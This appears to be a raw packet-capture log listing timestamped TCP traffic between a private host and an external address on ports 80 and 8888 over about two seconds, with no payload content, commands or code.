Jan 11, 2025 02:01:18.178311110 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178323030 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178338051 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178350925 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178359032 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178392887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178558111 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178569078 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178591013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178602934 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178611994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178623915 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178634882 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178646088 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178647041 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178658962 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178670883 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178670883 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178687096 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.178695917 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178731918 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.178994894 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179090023 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179100990 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179111958 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179125071 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179135084 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179161072 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179199934 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179210901 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179223061 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179233074 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179234028 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179253101 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179260969 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179265022 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179276943 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179289103 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179291010 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179308891 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179790974 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179802895 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179814100 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179826021 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179836988 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179837942 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179851055 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.179862022 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.179879904 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.180074930 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.181785107 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.181813955 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.181826115 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.181838989 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.181864977 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.181986094 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.181998968 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182018042 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182029009 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182043076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182043076 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182061911 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182189941 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182204962 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182228088 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182352066 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182363987 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182374954 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182387114 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182394981 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182420969 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182547092 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182559013 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182573080 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182578087 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182585955 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182598114 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.182606936 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.182635069 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.210217953 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210251093 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210263014 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210381985 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.210422039 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210444927 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210458040 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210463047 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.210470915 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210483074 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.210494041 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.210521936 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.227544069 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.230880976 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.230897903 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.230911016 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.230923891 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.230938911 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.230992079 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.230994940 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231010914 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231050968 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231146097 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231158972 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231172085 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231180906 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231199980 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231221914 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231229067 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231241941 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231255054 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231282949 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231445074 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231457949 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231471062 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231479883 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231482983 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231491089 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231501102 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231515884 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231518030 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231561899 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231750965 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231786966 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231801033 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231812000 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231826067 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231832981 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231838942 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.231856108 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.231877089 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.232031107 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232043028 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232054949 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232069016 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232079029 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.232083082 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232095003 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232104063 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.232109070 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.232131004 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.262208939 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264349937 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264389992 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264401913 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264414072 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264435053 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264461040 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264486074 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264523983 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264538050 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264632940 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264646053 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264671087 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264772892 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264786005 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264797926 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264831066 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264842987 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.264955044 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264967918 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264981031 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.264992952 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265006065 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265012026 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265023947 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265045881 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265063047 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265391111 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265403986 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265417099 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265431881 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265443087 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265444994 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265467882 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265541077 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265552998 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265579939 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265593052 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265605927 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265616894 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265630007 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.265630007 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.265661001 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266108036 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266122103 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266134024 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266144991 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266146898 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266160011 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266171932 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266172886 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266186953 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266199112 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266208887 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266211987 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266225100 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266231060 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266239882 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266247988 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266257048 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266287088 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266917944 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266931057 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266942978 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266956091 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266964912 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.266969919 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266983032 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266994953 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.266997099 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267000914 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267014980 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267025948 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267030001 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267030001 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267040014 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267045975 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267052889 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267065048 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267072916 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267081976 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267097950 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267875910 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267889977 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267900944 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267911911 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267920971 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267925024 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267937899 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267944098 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267950058 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267957926 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267961979 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267976046 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267985106 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.267986059 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.267999887 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268002987 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.268013000 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268018961 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268029928 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268050909 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.268739939 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268755913 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268767118 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268778086 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268780947 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.268790960 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268799067 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.268805981 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268817902 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268824100 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268825054 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.268832922 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268838882 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268845081 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268851042 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268858910 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.268917084 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.297748089 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297766924 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297780991 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297854900 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.297878981 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297894955 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297907114 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.297919035 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.297950029 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.298075914 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.304579020 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318202972 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318240881 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318269014 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318360090 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318406105 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318442106 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318456888 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318485975 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318656921 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318670988 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318684101 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318702936 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318878889 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318893909 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318906069 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318917990 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318919897 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318934917 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318941116 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.318948984 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.318968058 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319272995 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319288015 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319307089 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319308996 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319333076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319340944 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319344997 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319360018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319372892 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319380999 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319386959 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319401026 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319406033 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319415092 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319432020 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.319938898 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319952965 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319963932 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319977999 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.319986105 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.320003986 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.351739883 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351788044 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351800919 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351816893 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.351843119 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.351949930 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351963043 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351977110 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.351989985 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352009058 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352010012 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.352034092 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.352163076 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352175951 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352190018 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352200985 CET	80	49757	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:18.352202892 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.352221966 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.393254995 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.405805111 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.417710066 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:18.614212036 CET	49757	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:19.120655060 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:19.125488997 CET	8888	49771	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:19.125613928 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:19.125801086 CET	49771	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:01:19.130549908 CET	8888	49771	193.143.1.205	192.168.2.9
Jan 11, 2025 02:01:19.977396965 CET	8888	49771	193.143.1.205	192.168.2.9
